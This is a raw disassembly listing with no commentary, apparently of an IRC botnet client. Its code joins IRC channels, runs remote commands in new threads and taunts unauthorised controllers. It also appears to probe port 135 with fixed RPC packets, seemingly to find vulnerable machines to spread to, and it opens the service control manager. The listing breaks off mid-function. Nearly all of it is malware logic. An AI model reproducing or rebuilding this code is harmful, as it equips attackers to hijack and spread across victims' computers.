loc_411F89: ; CODE XREF: sub_40CD3A+14DCj
; sub_40CD3A+14F1j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_408503
lea eax, [ebp+var_2D8]
push offset unk_433978
push eax
call sub_415316
loc_411FAB: ; CODE XREF: sub_40CD3A+3AAAj
add esp, 14h
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_411FB3: ; CODE XREF: sub_40CD3A+14B2j
; sub_40CD3A+14C7j
push 1Eh
call sub_41501C
test eax, eax
pop ecx
jle short loc_411FE7
cmp [ebp+var_8], ebx
jnz loc_40D18F
push ebx
push [ebp+var_4]
push offset dword_433944
push [ebp+var_8C]
loc_411FD7: ; CODE XREF: sub_40CD3A+8D9j
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_411FE7: ; CODE XREF: sub_40CD3A+5283j
push [ebp+var_8C]
lea eax, [ebp+var_36C]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_370], eax
mov eax, [ebp+var_4]
mov [ebp+var_2E4], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_2E0], eax
mov [ebp+var_2E8], ebx
jz short loc_412048
push esi
push offset aFull ; "full"
call sub_415730
pop ecx
test eax, eax
pop ecx
jnz short loc_412048
mov [ebp+var_2E8], 1
loc_412048: ; CODE XREF: sub_40CD3A+52F1j
; sub_40CD3A+5302j
lea eax, [ebp+var_2D8]
push offset dword_433908
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 1Eh
push eax
call sub_414DDA
add esp, 14h
mov [ebp+var_2EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_370]
push ebx
push eax
push offset sub_413DFD
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2EC]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_4120C8
call dword_421088 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+var_2D8]
push offset dword_4338B8
push eax
call sub_415316
add esp, 0Ch
jmp loc_40F5F3
; ---------------------------------------------------------------------------
loc_4120C0: ; CODE XREF: sub_40CD3A+5394j
push 32h
call dword_421060 ; Sleep
loc_4120C8: ; CODE XREF: sub_40CD3A+5364j
cmp [ebp+var_2DC], ebx
jz short loc_4120C0
jmp loc_40F5F3
; ---------------------------------------------------------------------------
loc_4120D5: ; CODE XREF: sub_40CD3A+1488j
; sub_40CD3A+149Dj
cmp [ebp+var_8], ebx
jnz short loc_4120F4
push ebx
push [ebp+var_4]
push offset dword_433888
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_4120F4: ; CODE XREF: sub_40CD3A+539Ej
push [ebp+arg_4]
call dword_43C5EC
call dword_43C4B4
call sub_409D34
push ebx
call dword_421114 ; ExitProcess
loc_41210F: ; CODE XREF: sub_40CD3A+145Ej
; sub_40CD3A+1473j
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push [ebp+arg_4]
push eax
call sub_40A9D8
pop ecx
pop ecx
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push offset dword_43385C
jmp short loc_412167
; ---------------------------------------------------------------------------
loc_41213A: ; CODE XREF: sub_40CD3A+1434j
; sub_40CD3A+1449j
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push [ebp+arg_4]
push [ebp+arg_1C]
push eax
call sub_40AC8C
add esp, 0Ch
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
push offset dword_433830
loc_412167: ; CODE XREF: sub_40CD3A+5146j
; sub_40CD3A+53FEj
call sub_40B078
loc_41216C: ; CODE XREF: sub_40CD3A+404Ej
add esp, 18h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_412174: ; CODE XREF: sub_40CD3A+140Aj
; sub_40CD3A+141Fj
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B118
loc_412188: ; CODE XREF: sub_40CD3A+3A9j
; sub_40CD3A+51A6j ...
add esp, 10h
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_412190: ; CODE XREF: sub_40CD3A+13E0j
; sub_40CD3A+13F5j
cmp [ebp+var_C], ebx
mov [ebp+var_A0C], bl
jz short loc_4121CF
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_4121CF
push esi
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_4121CF
push eax
push offset aS_1 ; "%s"
lea eax, [ebp+var_A0C]
push 80h
push eax
call sub_41588A
add esp, 10h
loc_4121CF: ; CODE XREF: sub_40CD3A+545Fj
; sub_40CD3A+546Aj ...
push [ebp+var_8C]
lea eax, [ebp+var_A8C]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
push offset dword_433804
mov [ebp+var_A90], eax
mov eax, [ebp+var_4]
mov [ebp+var_988], eax
mov eax, [ebp+var_8]
mov [ebp+var_984], eax
lea eax, [ebp+var_2D8]
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 1Ch
push eax
call sub_414DDA
add esp, 20h
mov [ebp+var_98C], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_A90]
push ebx
push eax
push offset sub_40B18A
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_98C]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_412272
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_4337B8
jmp loc_412993
; ---------------------------------------------------------------------------
loc_41226A: ; CODE XREF: sub_40CD3A+553Ej
push 32h
call dword_421060 ; Sleep
loc_412272: ; CODE XREF: sub_40CD3A+551Dj
cmp [ebp+var_980], ebx
jz short loc_41226A
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_41227F: ; CODE XREF: sub_40CD3A+13B6j
; sub_40CD3A+13CBj
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_40B000
push offset dword_433788
call sub_40B078
loc_41229A: ; CODE XREF: sub_40CD3A+50AAj
add esp, 10h
jmp loc_412818
; ---------------------------------------------------------------------------
loc_4122A2: ; CODE XREF: sub_40CD3A+138Cj
; sub_40CD3A+13A1j
push [ebp+var_8C]
lea eax, [ebp+var_404]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
mov esi, [ebp+esi+var_90]
mov [ebp+var_408], eax
mov eax, [ebp+var_4]
mov [ebp+var_37C], eax
mov eax, [ebp+var_8]
add esp, 0Ch
cmp esi, ebx
mov [ebp+var_378], eax
jz short loc_4122FC
push offset dword_433784
push esi
call sub_415730
neg eax
sbb eax, eax
pop ecx
inc eax
pop ecx
mov [ebp+var_380], eax
jmp short loc_412302
; ---------------------------------------------------------------------------
loc_4122FC: ; CODE XREF: sub_40CD3A+55A6j
mov [ebp+var_380], ebx
loc_412302: ; CODE XREF: sub_40CD3A+55C0j
lea eax, [ebp+var_2D8]
push offset dword_433754
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 1Fh
push eax
call sub_414DDA
add esp, 14h
mov [ebp+var_384], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_408]
push ebx
push eax
push offset sub_414E45
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_384]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_412373
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset dword_433708
jmp loc_411308
; ---------------------------------------------------------------------------
loc_41236B: ; CODE XREF: sub_40CD3A+563Fj
push 32h
call dword_421060 ; Sleep
loc_412373: ; CODE XREF: sub_40CD3A+561Ej
cmp [ebp+var_374], ebx
jz short loc_41236B
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_412380: ; CODE XREF: sub_40CD3A+1310j
; sub_40CD3A+1325j
push offset aId999 ; "id999"
lea eax, [ebp+var_2D8]
push offset dword_4336DC
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 20h
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_4123B7: ; CODE XREF: sub_40CD3A+12E6j
; sub_40CD3A+12FBj
push dword_46A9B8
call sub_40A8CF
push eax
lea eax, [ebp+var_2D8]
push offset dword_43369C
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push [ebp+var_4]
push eax
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 24h
jmp loc_40F547
; ---------------------------------------------------------------------------
loc_4123F5: ; CODE XREF: sub_40CD3A+12BCj
; sub_40CD3A+12D1j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412427
cmp [ebp+var_C], ebx
jz short loc_412436
push esi
push [ebp+var_C]
call sub_4158E0
pop ecx
cmp eax, ebx
pop ecx
jz short loc_412436
push eax
push offset aQuitS ; "QUIT :%s\r\n"
push [ebp+arg_4]
call sub_412B8B
add esp, 0Ch
jmp short loc_412436
; ---------------------------------------------------------------------------
loc_412427: ; CODE XREF: sub_40CD3A+56C4j
push offset aQuitLater ; "QUIT :later\r\n"
push [ebp+arg_4]
call sub_412B8B
pop ecx
pop ecx
loc_412436: ; CODE XREF: sub_40CD3A+56C9j
; sub_40CD3A+56D8j ...
push 0FFFFFFFEh
pop eax
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_41243E: ; CODE XREF: sub_40CD3A+1292j
; sub_40CD3A+12A7j
push offset aQuitDisconnect ; "QUIT :disconnecting\r\n"
push [ebp+arg_4]
call sub_412B8B
push offset dword_433648
call sub_40B078
add esp, 0Ch
or eax, 0FFFFFFFFh
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_412460: ; CODE XREF: sub_40CD3A+1268j
; sub_40CD3A+127Dj
push offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
push [ebp+arg_4]
call sub_412B8B
push offset dword_433604
call sub_40B078
add esp, 0Ch
xor eax, eax
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_412481: ; CODE XREF: sub_40CD3A+123Ej
; sub_40CD3A+1253j
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_407075
loc_412492: ; CODE XREF: sub_40CD3A+3FBAj
add esp, 0Ch
jmp loc_412818
; ---------------------------------------------------------------------------
loc_41249A: ; CODE XREF: sub_40CD3A+1199j
; sub_40CD3A+11AEj
push [ebp+esi+var_90]
push 1Eh
push offset dword_4335F4
push offset dword_4335E8
jmp short loc_4124C2
; ---------------------------------------------------------------------------
loc_4124AF: ; CODE XREF: sub_40CD3A+116Fj
; sub_40CD3A+1184j
push [ebp+esi+var_90]
push 1Bh
push offset dword_4335DC
push offset dword_4335CC
loc_4124C2: ; CODE XREF: sub_40CD3A+FEAj
; sub_40CD3A+1013j ...
push [ebp+var_8]
push [ebp+var_4]
push [ebp+var_8C]
push [ebp+arg_4]
call sub_415062
add esp, 20h
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_4124DE: ; CODE XREF: sub_40CD3A+FABj
; sub_40CD3A+FC0j
mov edi, [ebp+esi+var_90]
cmp edi, ebx
jz short loc_4124FD
push edi
call sub_41587F
test eax, eax
pop ecx
jz short loc_4124FD
push edi
call sub_41587F
pop ecx
jmp short loc_412502
; ---------------------------------------------------------------------------
loc_4124FD: ; CODE XREF: sub_40CD3A+57ADj
; sub_40CD3A+57B8j
mov eax, dword_42C248
loc_412502: ; CODE XREF: sub_40CD3A+57C1j
mov esi, [ebp+esi+var_8C]
mov [ebp+var_38C], eax
cmp esi, ebx
jz short loc_412527
push esi
loc_412514: ; CODE XREF: sub_40CD3A+57FCj
lea eax, [ebp+var_39C]
push 10h
push eax
call sub_41588A
add esp, 0Ch
jmp short loc_41253E
; ---------------------------------------------------------------------------
loc_412527: ; CODE XREF: sub_40CD3A+57D7j
cmp [ebp+var_8FF], bl
jz short loc_412538
lea eax, [ebp+var_C0]
push eax
jmp short loc_412514
; ---------------------------------------------------------------------------
loc_412538: ; CODE XREF: sub_40CD3A+57F3j
mov [ebp+var_39C], bl
loc_41253E: ; CODE XREF: sub_40CD3A+57EBj
mov eax, [ebp+var_4]
push [ebp+var_8C]
mov esi, [ebp+arg_4]
mov [ebp+var_380], eax
mov eax, [ebp+var_8]
push 80h
mov [ebp+var_37C], eax
lea eax, [ebp+var_41C]
push eax
mov [ebp+var_420], esi
call sub_41588A
add esp, 0Ch
push [ebp+var_38C]
push esi
call sub_40A08A
pop ecx
push eax
lea eax, [ebp+var_2D8]
push offset unk_427DD0
push eax
call sub_415316
push ebx
lea eax, [ebp+var_2D8]
push 11h
push eax
call sub_414DDA
add esp, 1Ch
mov [ebp+var_388], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_420]
push ebx
push eax
push offset sub_407F42
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_388]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_4125F2
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_433580
jmp loc_412993
; ---------------------------------------------------------------------------
loc_4125EA: ; CODE XREF: sub_40CD3A+58BEj
push 32h
call dword_421060 ; Sleep
loc_4125F2: ; CODE XREF: sub_40CD3A+589Dj
cmp [ebp+var_378], ebx
jz short loc_4125EA
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_4125FF: ; CODE XREF: sub_40CD3A+F57j
; sub_40CD3A+F6Cj ...
push edi
push offset aSecure ; "secure"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_412627
push edi
push offset aSec ; "sec"
call sub_415730
pop ecx
mov [ebp+var_2E8], ebx
test eax, eax
pop ecx
jnz short loc_412631
loc_412627: ; CODE XREF: sub_40CD3A+58D4j
mov [ebp+var_2E8], 1
loc_412631: ; CODE XREF: sub_40CD3A+58EBj
push [ebp+var_8C]
lea eax, [ebp+var_36C]
push 80h
push eax
call sub_41588A
mov eax, [ebp+arg_4]
add esp, 0Ch
cmp [ebp+var_2E8], ebx
mov [ebp+var_370], eax
mov eax, [ebp+var_4]
mov [ebp+var_2E4], eax
mov eax, [ebp+var_8]
mov [ebp+var_2E0], eax
mov eax, offset aSecuring ; "Securing"
jnz short loc_412678
mov eax, offset aUnsecuring ; "Unsecuring"
loc_412678: ; CODE XREF: sub_40CD3A+5937j
push eax
push offset dword_433530
lea eax, [ebp+var_2D8]
push 200h
push eax
call sub_41588A
push ebx
lea eax, [ebp+var_2D8]
push 19h
push eax
call sub_414DDA
add esp, 1Ch
mov [ebp+var_2EC], eax
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_370]
push ebx
push eax
push offset sub_4144A0
push ebx
push ebx
call dword_42108C ; CreateThread
mov ecx, [ebp+var_2EC]
imul ecx, 234h
cmp eax, ebx
mov dword_4416DC[ecx], eax
jnz short loc_4126EF
call dword_421088 ; RtlGetLastWin32Error
push eax
push offset unk_4334E0
jmp loc_4108F0
; ---------------------------------------------------------------------------
loc_4126E7: ; CODE XREF: sub_40CD3A+59BBj
push 32h
call dword_421060 ; Sleep
loc_4126EF: ; CODE XREF: sub_40CD3A+599Aj
cmp [ebp+var_2DC], ebx
jz short loc_4126E7
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_4126FC: ; CODE XREF: sub_40CD3A+F2Dj
; sub_40CD3A+F42j
push offset aEnz999_9b ; "enz 999.9b"
push offset dword_4334B8
jmp loc_40F517
; ---------------------------------------------------------------------------
loc_41270B: ; CODE XREF: sub_40CD3A+F03j
; sub_40CD3A+F18j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
jz short loc_412767
push esi
call sub_41587F
cmp eax, ebx
pop ecx
jl short loc_41275C
cmp eax, 2
jge short loc_41275C
mov edx, [ebp+arg_18]
mov ecx, eax
shl ecx, 7
lea esi, [ecx+edx]
cmp [esi], bl
jz short loc_412751
lea eax, [esi+1]
push eax
lea eax, [ebp+var_2D8]
push offset dword_436698
push eax
call sub_415316
mov [esi], bl
jmp loc_40EB0A
; ---------------------------------------------------------------------------
loc_412751: ; CODE XREF: sub_40CD3A+59F9j
push eax
push offset dword_433478
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_41275C: ; CODE XREF: sub_40CD3A+59E5j
; sub_40CD3A+59EAj
push eax
push offset dword_433438
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_412767: ; CODE XREF: sub_40CD3A+59DAj
mov edi, [ebp+arg_18]
xor esi, esi
loc_41276C: ; CODE XREF: sub_40CD3A+5A4Ej
push [ebp+var_94]
push edi
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_41278F
inc esi
add edi, 80h
cmp esi, 2
jl short loc_41276C
jmp loc_40F8F6
; ---------------------------------------------------------------------------
loc_41278F: ; CODE XREF: sub_40CD3A+5A42j
mov eax, [ebp+arg_18]
shl esi, 7
mov [esi+eax], bl
lea eax, [ebp+var_C0]
push eax
push offset dword_436698
jmp loc_40EAFE
; ---------------------------------------------------------------------------
loc_4127A9: ; CODE XREF: sub_40CD3A+ED9j
; sub_40CD3A+EEEj
push [ebp+var_90]
push offset dword_4365F0
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_412818
call sub_414F9D
push ebx
call dword_421114 ; ExitProcess
loc_4127CB: ; CODE XREF: sub_40CD3A+EAFj
; sub_40CD3A+EC4j
push [ebp+esi+var_90]
xor eax, eax
cmp [ebp+var_8F0], bl
setnz al
push eax
lea eax, [ebp+var_43C]
push dword_42C268
push eax
call sub_414278
lea eax, [ebp+var_43C]
push eax
push offset aNickS ; "NICK %s\r\n"
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_43C]
push eax
push offset dword_433400
call sub_40B0EC
loc_412815: ; CODE XREF: sub_40CD3A+2A1Fj
add esp, 24h
loc_412818: ; CODE XREF: sub_40CD3A+61Dj
; sub_40CD3A+629j ...
mov eax, [ebp+arg_24]
jmp loc_40D192
; ---------------------------------------------------------------------------
loc_412820: ; CODE XREF: sub_40CD3A+ABBj
; sub_40CD3A+AD0j
mov esi, [ebp+esi+var_90]
cmp esi, ebx
mov [ebp+arg_0], esi
jz loc_40D18F
cmp [ebp+var_A4], ebx
jnz loc_40D18F
push offset dword_42F4B0
push [ebp+var_94]
call sub_416B3F
mov esi, eax
push offset dword_43B198
push ebx
inc esi
call sub_416B3F
push offset asc_4333FC ; "~"
push eax
call sub_416B3F
push [ebp+arg_0]
mov edi, eax
push offset aHi ; "hi"
call sub_415730
add esp, 20h
test eax, eax
jz short loc_4128C8
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_412B8B
push edi
push esi
push offset dword_433370
loc_4128B4: ; CODE XREF: sub_40CD3A+5BE7j
lea eax, [ebp+var_2D8]
push eax
call sub_415316
add esp, 30h
jmp loc_40D68B
; ---------------------------------------------------------------------------
loc_4128C8: ; CODE XREF: sub_40CD3A+5B41j
mov [ebp+arg_24], ebx
loc_4128CB: ; CODE XREF: sub_40CD3A+5BAEj
mov eax, [ebp+arg_24]
push edi
push off_42C32C[eax]
call sub_41512D
pop ecx
test eax, eax
pop ecx
jnz short loc_412923
add [ebp+arg_24], 4
cmp [ebp+arg_24], 4
jb short loc_4128CB
lea eax, [ebp+var_C0]
push edi
push eax
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n"
push [ebp+arg_4]
call sub_412B8B
lea eax, [ebp+var_C0]
push eax
push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n"
push [ebp+arg_4]
call sub_412B8B
push edi
push esi
push offset dword_433330
jmp short loc_4128B4
; ---------------------------------------------------------------------------
loc_412923: ; CODE XREF: sub_40CD3A+5BA4j
mov edi, [ebp+arg_18]
xor esi, esi
loc_412928: ; CODE XREF: sub_40CD3A+5C0Fj
cmp [edi], bl
jnz short loc_41293F
push [ebp+arg_0]
push offset aHi ; "hi"
call sub_415730
pop ecx
test eax, eax
pop ecx
jz short loc_412950
loc_41293F: ; CODE XREF: sub_40CD3A+5BF0j
inc esi
add edi, 80h
cmp esi, 2
jl short loc_412928
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_412950: ; CODE XREF: sub_40CD3A+5C03j
shl esi, 7
add esi, [ebp+arg_18]
lea eax, [ebp+var_B10]
push 7Fh
push eax
push esi
call sub_416BE0
add esp, 0Ch
cmp [ebp+var_8], ebx
jnz short loc_412987
push ebx
push [ebp+var_4]
push offset dword_4332FC
push [ebp+var_8C]
push [ebp+arg_4]
call sub_412BD1
add esp, 14h
loc_412987: ; CODE XREF: sub_40CD3A+5C31j
lea eax, [ebp+var_C0]
push eax
push offset dword_4332C8
loc_412993: ; CODE XREF: sub_40CD3A+575j
; sub_40CD3A+552Bj ...
call sub_40B0EC
pop ecx
loc_412999: ; CODE XREF: sub_40CD3A+28C5j
pop ecx
jmp loc_40D18F
; ---------------------------------------------------------------------------
loc_41299F: ; CODE XREF: sub_40CD3A+200j
; sub_40CD3A+215j
push [ebp+arg_10]
push offset aUserhostS ; "USERHOST %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push offset dword_42C2FC
push [ebp+arg_10]
push offset aModeSS ; "MODE %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
push [ebp+arg_C]
push [ebp+arg_8]
push offset aJoinSS ; "JOIN %s %s\r\n"
push [ebp+arg_4]
call sub_412B8B
add esp, 2Ch
mov dword_46AB30, edi
jmp loc_40CFC9
sub_40CD3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4129E5 proc near ; CODE XREF: sub_412A1D+125p
; sub_412A1D+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_412A13
loc_4129F6: ; CODE XREF: sub_4129E5+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_417950
add esp, 0Ch
test eax, eax
jz short loc_412A19
inc esi
cmp esi, edi
jl short loc_4129F6
loc_412A13: ; CODE XREF: sub_4129E5+Fj
xor al, al
loc_412A15: ; CODE XREF: sub_4129E5+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_412A19: ; CODE XREF: sub_4129E5+27j
mov al, 1
jmp short loc_412A15
sub_4129E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412A1D proc near ; CODE XREF: sub_4033B6+88p
; sub_4033B6+174p
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_415B90
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_412A5E
dec eax
jz short loc_412A3C
dec eax
loc_412A36: ; CODE XREF: sub_412A1D+57j
xor eax, eax
loc_412A38: ; CODE XREF: sub_412A1D+3Fj
; sub_412A1D+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_412A3C: ; CODE XREF: sub_412A1D+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_43C594
push eax
call sub_40762E
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_412A38
; ---------------------------------------------------------------------------
loc_412A5E: ; CODE XREF: sub_412A1D+13j
push 6
push 1
push 2
call dword_43C5D4
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_412A36
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_415390
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_43C554
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_409F7A
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_43C4FC
cmp eax, edi
jz loc_412B7A
push ebx
push 48h
push offset dword_436710
push esi
call dword_43C5A4
cmp eax, edi
jz loc_412B7A
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43C56C
cmp eax, edi
jz loc_412B7A
cmp [ebp+var_200E], 0Ch
jnz short loc_412B7A
push ebx
push 18h
push offset dword_43675C
push [ebp+arg_4]
call dword_43C5A4
cmp eax, edi
jz short loc_412B7A
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_43C56C
mov esi, eax
cmp esi, edi
jz short loc_412B7A
cmp [ebp+var_200E], 2
jnz short loc_412B7A
push 10h
push offset loc_436778
lea eax, [ebp+var_2010]
push esi
push eax
call sub_4129E5
add esp, 10h
test al, al
jz short loc_412B5A
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_412B7A
; ---------------------------------------------------------------------------
loc_412B5A: ; CODE XREF: sub_412A1D+12Fj
push 10h
push offset dword_43678C
lea eax, [ebp+var_2010]
push esi
push eax
call sub_4129E5
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_412B7A: ; CODE XREF: sub_412A1D+9Bj
; sub_412A1D+B2j ...
push [ebp+arg_4]
call dword_43C5EC
mov eax, ebx
pop ebx
jmp loc_412A38
sub_412A1D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412B8B proc near ; CODE XREF: sub_40CBBE+3Dp
; sub_40CD3A+1BDp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
sub esp, 200h
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push 200h
push eax
call sub_41732F
add esp, 10h
lea eax, [ebp+var_200]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43C5A4
leave
retn
sub_412B8B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412BD1 proc near ; CODE XREF: sub_401000+88p
; sub_401444+76p ...
var_400 = byte ptr -400h
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 400h
cmp [ebp+arg_C], 0
push esi
push edi
mov edi, offset aNotice ; "NOTICE"
jnz short loc_412BEC
mov edi, offset aPrivmsg ; "PRIVMSG"
loc_412BEC: ; CODE XREF: sub_412BD1+14j
push edi
call sub_415B10
push [ebp+arg_4]
mov esi, 1FAh
sub esi, eax
call sub_415B10
push [ebp+arg_8]
sub esi, eax
lea eax, [ebp+var_400]
push offset aS_1 ; "%s"
push esi
push eax
call sub_41588A
lea eax, [ebp+var_400]
push eax
lea eax, [ebp+var_200]
push [ebp+arg_4]
push edi
push offset dword_4367A0
push eax
call sub_415316
add esp, 2Ch
lea eax, [ebp+var_200]
push 0
push eax
call sub_415B10
pop ecx
push eax
lea eax, [ebp+var_200]
push eax
push [ebp+arg_0]
call dword_43C5A4
cmp [ebp+arg_10], 0
pop edi
pop esi
jz short locret_412C6A
push 7D0h
call dword_421060 ; Sleep
locret_412C6A: ; CODE XREF: sub_412BD1+8Cj
leave
retn
sub_412BD1 endp
; =============== S U B R O U T I N E =======================================
sub_412C6C proc near ; CODE XREF: sub_40CD3A:loc_40EB9Bp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, [esp+arg_0]
push esi
push edi
mov edi, [esp+8+arg_4]
test edi, edi
jz short loc_412CD1
lea esi, [eax+eax*2]
push 0
shl esi, 2
push 0
push dword_4367B8[esi]
push edi
push eax
call sub_412CF3
add esp, 14h
test eax, eax
jnz short loc_412CB4
push edi
push off_4367B4[esi]
mov esi, offset dword_46B208
push offset dword_4368EC
push esi
call sub_415316
add esp, 10h
jmp short loc_412CEE
; ---------------------------------------------------------------------------
loc_412CB4: ; CODE XREF: sub_412C6C+2Aj
push eax
call sub_412D95
push eax
push edi
mov esi, offset dword_46B208
push offset dword_4368B0
push esi
call sub_415316
add esp, 14h
jmp short loc_412CEE
; ---------------------------------------------------------------------------
loc_412CD1: ; CODE XREF: sub_412C6C+Cj
lea eax, [eax+eax*2]
mov esi, offset dword_46B208
push off_4367B0[eax*4]
push offset dword_436878
push esi
call sub_415316
add esp, 0Ch
loc_412CEE: ; CODE XREF: sub_412C6C+46j
; sub_412C6C+63j
mov eax, esi
pop edi
pop esi
retn
sub_412C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412CF3 proc near ; CODE XREF: sub_412C6C+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_43C548
mov edi, eax
cmp edi, ebx
jnz short loc_412D1A
